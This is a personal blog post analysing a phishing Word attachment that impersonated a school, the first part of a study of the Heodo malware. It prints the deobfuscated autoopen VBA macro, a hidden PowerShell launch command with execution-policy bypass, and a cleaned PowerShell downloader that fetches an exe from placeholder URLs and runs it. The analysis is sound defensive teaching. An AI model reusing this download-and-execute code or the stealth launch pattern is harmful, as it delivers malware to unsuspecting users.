Malware analysis writeup: Heodo (1/2)
Freiburg, GermanyThis is Part 1 of a malware analysis I did this week. This time, it was not an exercise!
I started digging into “malware analysis” some time ago, mostly because I did not know anything about malware (except that they were not nice). I still do not know a lot about this topic, but I learned a few things already. In the sequel, I am going to describe why and how I analyzed the first part of this malware.
Preamble
Earlier this week, one of my friends received an email from his child’s school.
It was a reply to an email he sent a couple of months ago, about his child being
sick back then. Although the content of the email seemed legit, a file named
ANHANG-16231-21845251.doc
was attached to it, which alerted my friend. He
called the school and got confirmation that no one sent such an email.
My friend asked me what I thought about this story. Double-checking the email
headers, it was trivial to confirm that the school employee was impersonated.
Given that the reply matched his email, the emails of this person were likely
dumped a while ago and the bad folks started to make “good” use of them. Before
leaving him, I asked my friend to forward me the .doc
file.
Word document and VBA macro
I uploaded this file on VirusTotal but I did not get a lot of information, so I started a VM with a set of tools to perform static analysis of this document file.
Post-mortem: the VirusTotal report was more interesting than I thought: it mentioned that this file was likely a “Downloader”. Knowing this beforehand could have helped me during the analysis process.
I am not an expert, but I know that Microsoft documents can embed and run macros, specifically VBA macros. I also know that these macros have access to a lot of APIs and can run commands. The only set of tools I am aware of to deal with such formats/files is oletools.
I knew that this file was likely hiding VBA macros, but my experience solving
some so-called “hacking challenges” taught me to not overlook the information
gathering phase. I analyzed the file with oleid
, which confirmed my intuition
and also indicated that the file was not encrypted:
oleid 0.54 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
Filename: ./ANHANG-16231-21845251.doc
Indicator Value
OLE format True
Has SummaryInformation stream True
Application name Microsoft Office Word
Encrypted False
Word Document True
VBA Macros True
Excel Workbook False
PowerPoint Presentation False
Visio Drawing False
ObjectPool True
Flash objects 0
The second tool I used was olevba
. It has been used to extract the VBA macros
from the .doc
file. The output I received looked
obfuscated (the snippet
below has been truncated):
olevba 0.54.1 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: ./ANHANG-16231-21845251.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Swlfot9.cls
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/Swlfot9'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO zC7wlka.vba
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/zC7wlka'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub K9hj1nG()
Debug.Print "724" + ("516") + ("UPOp3Hrt" + ("23" + "361") + "vC9PPmCK" + ("rjITKvEv"))
Debug.Print "20" + ("994") + ("u_8YY68" + ("791" + "454") + "rbk4PQH" + ("iqapjj9"))
Debug.Print "942" + ("653") + ("pqQI0T2" + ("226" + "126") + "N7OT4k" + ("Z6j2ENjS"))
Debug.Print "387" + ("127") + ("wjf7biL" + ("20" + "64") + "nE0OG8" + ("GNXHVKT"))
Debug.Print "255" + ("590") + ("kPaztnd9" + ("626" + "534") + "nc7FkKV" + ("itIImYJ"))
Debug.Print "763" + ("124") + ("lLo5VRP" + ("611" + "629") + "tJnnqa" + ("EPdjCjRp"))
End Sub
Sub _
autoopen( _
)
[...]
I took a look at the olevba
documentation and learned about the --reveal
experimental feature. In this case, it worked well and this feature cleaned the
code a bit. It was still obfuscated, but less weird (output below truncated):
Attribute VB_Name = "zC7wlka"
Sub K9hj1nG()
Debug.Print "724516UPOp3Hrt23361vC9PPmCKrjITKvEv"
Debug.Print "20994u_8YY68791454rbk4PQHiqapjj9"
Debug.Print "942653pqQI0T2226126N7OT4kZ6j2ENjS"
Debug.Print "387127wjf7biL2064nE0OG8GNXHVKT"
Debug.Print "255590kPaztnd9626534nc7FkKVitIImYJ"
Debug.Print "763124lLo5VRP611629tJnnqaEPdjCjRp"
End Sub
Sub autoopen( )
Debug.Print "588496Bn5Mps680785i9QMw62Vw29iIrvf"
Debug.Print "984870ZavHKq723615HYijaGWMHILLpV"
Debug.Print "58974piKRd2450645jwOkskOoIvNiL"
lc8cJsPt
Debug.Print "860836EYdLCWj544391w0whi5Mmcto3"
Debug.Print "12319b1Pp9wzc397829Xozjntl2HkNCop"
Debug.Print "826309uz3s8R5980Z6jEJwMSGtCq"
End Sub
[...]
I went ahead and manually cleaned the code even more, but I had two references
to a OLE “thing” named Swlfot9
that I could decode. I knew it had
something to do with PowerShell
given the "powe"
string but I could not find anything else…
Attribute VB_Name = "zC7wlka"
Sub autoopen()
lc8cJsPt
End Sub
Sub lc8cJsPt()
Set Win32ProcessstartupObj = GetObject("winmgmts:Win32_ProcessStartup")
Win32ProcessstartupObj.ShowWindow = 0
Set Win32ProcessObj = GetObject("winmgmts:Win32_Process")
Win32ProcessObj.Create "powe" + Swlfot9.FbFMIBR + Swlfot9.bLJAPOF,
Null,
Win32ProcessstartupObj,
ProcessId
End Sub
I saw the name Swlfot9
in the very first olevba
output, though, so I knew
that something was still there, but I could just not see it. I tried some other
oletools but it was a dead-end…
A PowerShell payload
Not really knowing what to do next, I decided to give the strings
command a
try and found a very large string that looked like a bas64-encoded string.
I piped this string to base64 -d
and got some PowerShell instructions in
return. Yay!
$XvmIXvo='t6jTbM';$PbDL43 = '71';$uj6EVuv='L8KMkkX'; [...]
Given that I was stuck with the VBA macro, I decided to clean the PowerShell payload to better understand it. There were unused variables and weird PowerShell-allowed calls. Below is the PowerShell script rewritten to be more readable:
# `$env:userprofile` returns the full path of the profile directory.
$pathToExe = $env:userprofile+'\71.exe';
$webClient = New-Object Net.WebClient;
# List of URLs pointing to a program to download
$urls = [
http://some.example.com/folder-123/,
http://another.example.com/folder-456/,
]
foreach ($url in $urls) {
try {
# Try to download a program...
$webClient.DownloadFile($url, $pathToExe);
# if it worked, then...
If ((Get-Item $pathToExe).length -ge 24103) {
# run it!
Invoke-Item $pathToExe;
break;
}
# otherwise, keep trying.
} catch {
}
}
This PowerShell script is a Downloader: its job is to download, save and execute
a malicious program (named 71.exe
here). I still did not know how this script was
executed by the macro though, so let’s find out!
OLE dump
I searched for a tool able to dump an OLE stream from a .doc
file
and discovered oledump.py.
Analyzing the different sections, I found interesting data that I dumped as ASCII:
rshell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e ,
This string corresponded to Swlfot9.FbFMIBR
. Therefore the other reference was
the payload reversed in the previous section. Below is the full line of code used
to run the PowerShell script (which is represented by "PAYLOAD"
):
Win32ProcessObj.Create "powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e" + "PAYLOAD"
Job done!
The 71.exe
program
In order to understand what kind of program was downloaded by the malicious .doc
file, I used a third party service to download the program from one of the URLs
in the list (in the PowerShell script) and this service then sent the program to me:
$ file 71.exe
71.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
That’s a Windows Portable Executable program. I also analyzed this file and Part 2 will describe my findings.
Recap’
- I statically analyzed a Word document that contained a VBA macro and a PowerShell script.
- The VBA macro runs the PowerShell script on behalf of the user who opens the
.doc
file. - The PowerShell script downloads and executes a malicious program.
- This malicious program is a Windows PE EXE file.
Filename | MD5 checksum |
---|---|
ANHANG-16231-21845251.doc |
70c0c42d90fd499b1d3f77b6f5a0bd3b |
Feel free to fork and edit this post if you find a typo, thank you so much! This post is licensed under the Creative Commons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) license.
Comments
No comments here. You can get in touch with me on Mastodon or send me an email if you prefer.